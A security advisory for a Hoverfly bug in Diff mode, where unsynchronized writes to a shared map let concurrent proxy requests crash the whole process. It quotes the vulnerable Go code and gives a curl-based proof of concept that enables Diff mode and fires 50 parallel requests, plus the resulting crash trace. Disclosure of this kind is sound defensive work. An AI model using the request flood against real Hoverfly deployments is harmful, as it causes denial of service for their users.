CVE-2026-50013

Hoverfly: Process Crash via Concurrent Map Write Race Condition in Diff Mode in github.com/SpectoLabs/hoverfly

### Summary: When Hoverfly is running in Diff mode, the `AddDiff()` function writes to the shared `responsesDiff` map without any synchronization (no mutex). When multiple proxy requests are processed concurrently (the normal case for any proxy), the concurrent map writes trigger Go's built-in race detector which causes a `fatal error: concurrent map read and map write`, immediately killing the entire Hoverfly process. This is trivially exploitable by sending multiple simultaneous requests. ### Details: **1. Unsynchronized map access in `AddDiff()` (`core/hoverfly_service.go:417-421`):** ```go func (hf *Hoverfly) AddDiff(requestView v2.SimpleRequestDefinitionView, diffReport v2.DiffReport) { if len(diffReport.DiffEntries) > 0 { diffs := hf.responsesDiff[requestView] // UNSYNCHRONIZED READ hf.responsesDiff[requestView] = append(diffs, diffReport) // UNSYNCHRONIZED WRITE } } ``` **2. This function is called from Diff mode processing, which runs concurrently per request (`core/modes/diff_mode.go`):** Each incoming proxy request is handled in its own goroutine by Go's `net/http` server. In Diff mode, each request calls `AddDiff()` after comparing the simulated and actual responses. With multiple concurrent requests, multiple goroutines write to the same map simultaneously. **3. Go's runtime detects concurrent map access and terminates the process:** Unlike data races on simple values (which produce undefined behavior silently), Go's map implementation includes a built-in concurrent access check. When two goroutines access the same map and at least one is writing, the runtime calls `fatal()` which is unrecoverable, it cannot be caught by `recover()`. **4. No mutex protection exists on `responsesDiff`:** The field is declared as a plain `map[v2.SimpleRequestDefinitionView][]v2.DiffReport` with no associated `sync.RWMutex`. Compare with `hf.state` which properly uses `sync.RWMutex` for its map access. ### Environment: - **Hoverfly version:** v1.12.7 - **Operating System:** macOS Darwin 25.4.0 - **Go version:** 1.26.2 - **Configuration:** Hoverfly in Diff mode (`PUT /api/v2/hoverfly/mode {"mode":"diff"}`) ### POC: **Step 1: Start Hoverfly and set Diff mode** ```bash ./hoverfly & sleep 2 # Set diff mode curl -X PUT http://localhost:8888/api/v2/hoverfly/mode \ -H "Content-Type: application/json" \ -d '{"mode": "diff"}' # Load a simulation for diff comparison curl -X PUT http://localhost:8888/api/v2/simulation \ -H "Content-Type: application/json" \ -d '{ "data": { "pairs": [{ "request": {"path": [{"matcher": "glob", "value": "*"}]}, "response": {"status": 200, "body": "expected"} }], "globalActions": {"delays": [], "delaysLogNormal": []} }, "meta": {"schemaVersion": "v5.2"} }' ``` **Step 2: Send concurrent requests to trigger the race** ```bash # Send 50 concurrent requests, race condition triggers within seconds for i in $(seq 1 50); do curl -s -x http://localhost:8500 "http://httpbin.org/get?id=$i" & done wait ``` **Step 3: Observe the crash** ```bash # Check if process is still running pgrep -f hoverfly ``` **crash output on Hoverfly v1.12.7:** ``` fatal error: concurrent map read and map write goroutine 892 [running]: github.com/SpectoLabs/hoverfly/core.(*Hoverfly).AddDiff(...) /core/hoverfly_service.go:419 github.com/SpectoLabs/hoverfly/core/modes.(*DiffMode).Process(...) ``` The process crashes with ~50 concurrent requests. In production with real traffic, it crashes almost immediately. ### Impact: - **Full denial of service:** The process terminates immediately and cannot be recovered without a restart - **Trivial exploitation:** Any attacker with proxy access can trigger this by sending multiple concurrent requests - **No admin API access required:** Only proxy port access is needed to trigger the crash - **Unrecoverable:** `fatal error` in Go cannot be caught by `recover()` — the process is unconditionally killed - **Affects all Diff mode users:** Any team using Diff mode for API comparison testing is vulnerable